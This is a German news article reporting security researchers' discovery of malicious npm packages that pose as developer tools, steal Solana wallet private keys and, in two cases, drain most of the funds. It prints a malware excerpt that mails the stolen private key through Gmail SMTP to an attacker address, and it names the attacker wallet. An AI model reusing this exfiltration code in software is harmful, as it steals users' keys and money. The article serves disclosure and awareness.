NPM Malware Libraries stehlen Solana-Wallets über Gmail

Sicherheitsforscher von socket.dev haben schädliche Programme entdeckt, die Solana-Wallets angreifen. Diese Programme sammeln geheime Schlüssel und senden sie per Gmail an Hacker, die dann das Geld aus den Wallets stehlen.

Die betroffenen Programme heißen @async-mutex/mutex, dexscreener, solana-transaction-toolkit und solana-stable-web-huks. Sie tun so, als wären sie nützliche Programme für Entwickler, enthalten aber versteckten Schadcode. Besonders gefährlich sind die letzten beiden Programme, da sie zusätzlich Geld aus den Wallets der Opfer abziehen.

Die Hacker nutzen eine spezielle Technik, um an die geheimen Schlüssel der Nutzer zu kommen. Sobald ein Opfer eine der betroffenen Anwendungen nutzt, wird der Schlüssel ausgelesen und über Gmail an die Angreifer geschickt. Da Gmail ein oft genutzter und vertrauenswürdiger Dienst ist, fällt dieser Datendiebstahl nicht sofort auf.

Beispiel für schädlichen Code:

const transporter = nodemailer.createTransport({
    host: "smtp.gmail.com",
    port: 465,
    secure: true,
    auth: {
        user: "vision.high.ever@gmail.com",
        pass: "[redacted]",
    },
});
const sendEmail = async (privateKey) => {
    const email = {
        from: "vision.high.ever@gmail.com",
        to: "james.liu.vectorspace@gmail.com",  
        subject: "Hi, This is Dexscreener",    
        text: privateKey,                        
    };
    await transporter.sendMail(email);
};

Dieser Code zeigt, wie die gestohlenen Schlüssel an eine bestimmte E-Mail-Adresse geschickt werden. Die Programme solana-transaction-toolkit und solana-stable-web-huks gehen noch weiter. Sie schicken nicht nur geheime Schlüssel an Hacker, sondern leiten auch 98 % des Geldes im Wallet an eine Betrüger-Adresse weiter:

Hacker-Wallet: 3RbBjhVRi8qYoGB5NLiKEszq2ci559so4nPqv2iNjs8Q